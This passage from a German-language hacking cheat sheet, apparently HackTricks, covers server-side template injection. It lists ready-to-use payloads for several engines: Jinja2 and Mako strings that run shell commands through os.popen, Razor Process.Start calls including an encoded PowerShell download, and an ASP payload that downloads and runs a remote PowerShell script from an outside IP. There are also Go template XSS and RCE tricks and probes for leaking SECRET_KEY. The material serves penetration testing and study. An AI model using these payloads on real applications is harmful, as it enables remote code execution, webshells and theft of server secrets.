{{config}}
{{config.items()}}
{{settings.SECRET_KEY}}
{{settings}}
<div data-gb-custom-block data-tag="debug"></div>
{% raw %}
{% debug %}
{% endraw %}
{{settings.SECRET_KEY}}
{{4*4}}[[5*5]]
{{7*'7'}} would result in 7777777
Jinja2 - Vorlagenformat
{% raw %}
{% extends "layout.html" %}
{% block body %}
<ul>
{% for user in users %}
<li><a href="{{ user.url }}">{{ user.username }}</a></li>
{% endfor %}
</ul>
{% endblock %}
{% endraw %}
RCE nicht abhängig von __builtins__
:
{{ self._TemplateReference__context.cycler.__init__.__globals__.os.popen('id').read() }}
{{ self._TemplateReference__context.joiner.__init__.__globals__.os.popen('id').read() }}
{{ self._TemplateReference__context.namespace.__init__.__globals__.os.popen('id').read() }}
# Or in the shotest versions:
{{ cycler.__init__.__globals__.os.popen('id').read() }}
{{ joiner.__init__.__globals__.os.popen('id').read() }}
{{ namespace.__init__.__globals__.os.popen('id').read() }}
Weitere Details zum Missbrauch von Jinja:
{% content-ref url="jinja2-ssti.md" %} jinja2-ssti.md {% endcontent-ref %}
Andere Payloads unter https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#jinja2
Mako (Python)
<%
import os
x=os.popen('id').read()
%>
${x}
Weitere Informationen
Razor (.Net)
@(2+2) <= Erfolg
@() <= Erfolg
@("{{code}}") <= Erfolg
@ <= Erfolg
@{} <= FEHLER!
@{ <= FEHLER!
@(1+2)
@( //C#Code )
@System.Diagnostics.Process.Start("cmd.exe","/c echo RCE > C:/Windows/Tasks/test.txt");
@System.Diagnostics.Process.Start("cmd.exe","/c powershell.exe -enc IABpAHcAcgAgAC0AdQByAGkAIABoAHQAdABwADoALwAvADEAOQAyAC4AMQA2ADgALgAyAC4MQAxADEALwB0AGUAcwB0AG0AZQB0ADYANAAuAGUAeABlACAALQBPAHUAdABGAGkAbABlACAAQwA6AFwAVwBpAG4AZABvAHcAcwBcAFQAYQBzAGsAcwBcAHQAZQBzAHQAbQBlAHQANgA0AC4AZQB4AGUAOwAgAEMAOgBcAFcAaQBuAGQAbw3AHMAXABUAGEAcwBrAHMAXAB0AGUAcw0AZQB0ADYANAAuAGUAeABlAA==");
Die .NET System.Diagnostics.Process.Start
Methode kann verwendet werden, um jeden Prozess auf dem Server zu starten und somit eine Webshell zu erstellen. Ein anfälliges Webanwendungsbeispiel finden Sie unter https://github.com/cnotin/RazorVulnerableApp
Weitere Informationen
- https://clement.notin.org/blog/2020/04/15/Server-Side-Template-Injection-(SSTI)-in-ASP.NET-Razor/
- https://www.schtech.co.uk/razor-pages-ssti-rce/
ASP
<%= 7*7 %>
= 49<%= "foo" %>
= foo<%= foo %>
= Nichts<%= response.write(date()) %>
= <Date>
<%= CreateObject("Wscript.Shell").exec("powershell IEX(New-Object Net.WebClient).downloadString('http://10.10.14.11:8000/shell.ps1')").StdOut.ReadAll() %>
Weitere Informationen
Mojolicious (Perl)
Auch wenn es Perl ist, verwendet es Tags wie ERB in Ruby.
<%= 7*7 %> = 49
<%= foobar %> = Fehler
<%= perl code %>
<% perl code %>
SSTI in GO
In der Go-Template-Engine kann die Bestätigung ihrer Verwendung mit spezifischen Payloads erfolgen:
{{ . }}
: Zeigt die Datenstruktur-Eingabe an. Wenn beispielsweise ein Objekt mit einemPassword
-Attribut übergeben wird, könnte{{ .Password }}
es offenlegen.{{printf "%s" "ssti" }}
: Sollte den String "ssti" anzeigen.{{html "ssti"}}
,{{js "ssti"}}
: Diese Payloads sollten "ssti" zurückgeben, ohne "html" oder "js" anzuhängen. Weitere Anweisungen können in der Go-Dokumentation hier erkundet werden.
XSS-Ausnutzung
Mit dem Paket text/template
kann XSS einfach durch direktes Einfügen des Payloads erfolgen. Im Gegensatz dazu codiert das Paket html/template
die Antwort, um dies zu verhindern (z.B. führt {{"<script>alert(1)</script>"}}
zu <script>alert(1)</script>
). Nichtsdestotrotz können die Template-Definition und -Aufruf in Go diese Codierung umgehen: {{define "T1"}}alert(1){{end}} {{template "T1"}}
vbnet Copy code
RCE-Ausnutzung
Die RCE-Ausnutzung unterscheidet sich erheblich zwischen html/template
und text/template
. Das Modul text/template
erlaubt den direkten Aufruf beliebiger öffentlicher Funktionen (unter Verwendung des Werts "call"), was in html/template
nicht erlaubt ist. Die Dokumentation für diese Module ist verfügbar hier für html/template und hier für text/template.
Für RCE über SSTI in Go können Objektmethode aufgerufen werden. Wenn beispielsweise das bereitgestellte Objekt eine System
-Methode hat, die Befehle ausführt, kann es wie folgt ausgenutzt werden: {{ .System "ls" }}
. Der Zugriff auf den Quellcode ist normalerweise erforderlich, um dies auszunutzen, wie im gegebenen Beispiel:
func (p Person) Secret (test string) string {
out, _ := exec.Command(test).CombinedOutput()
return string(out)
}
Weitere Informationen
- https://blog.takemyhand.xyz/2020/05/ssti-breaking-gos-template-engine-to.html
- https://www.onsecurity.io/blog/go-ssti-method-research/
Weitere Exploits
Überprüfen Sie den Rest von https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection für weitere Exploits. Außerdem finden Sie interessante Tags-Informationen unter https://github.com/DiogoMRSilva/websitesVulnerableToSSTI
BlackHat PDF
{% file src="../../.gitbook/assets/EN-Server-Side-Template-Injection-RCE-For-The-Modern-Web-App-BlackHat-15 (1).pdf" %}
Verwandte Hilfe
Wenn Sie denken, dass es nützlich sein könnte, lesen Sie:
Tools
- https://github.com/Hackmanit/TInjA
- https://github.com/vladko312/sstimap
- https://github.com/epinna/tplmap
- https://github.com/Hackmanit/template-injection-table
Brute-Force-Erkennungsliste
{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/ssti.txt" %}
Übung & Referenzen
- https://portswigger.net/web-security/server-side-template-injection/exploiting
- https://github.com/DiogoMRSilva/websitesVulnerableToSSTI
- https://portswigger.net/web-security/server-side-template-injection
RootedCON ist das relevanteste Cybersicherheitsereignis in Spanien und eines der wichtigsten in Europa. Mit der Mission, technisches Wissen zu fördern, ist dieser Kongress ein brodelnder Treffpunkt für Technologie- und Cybersicherheitsprofis in jeder Disziplin.
{% embed url="https://www.rootedcon.com/" %}
Erlernen Sie AWS-Hacking von Null auf Held mit htARTE (HackTricks AWS Red Team Expert)!
Andere Möglichkeiten, HackTricks zu unterstützen:
- Wenn Sie Ihr Unternehmen in HackTricks beworben sehen möchten oder HackTricks im PDF-Format herunterladen möchten, überprüfen Sie die ABONNEMENTPLÄNE!
- Holen Sie sich das offizielle PEASS & HackTricks-Merch
- Entdecken Sie The PEASS Family, unsere Sammlung exklusiver NFTs
- Treten Sie der 💬 Discord-Gruppe oder der Telegramm-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @carlospolopm.
- Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud Github-Repositories einreichen.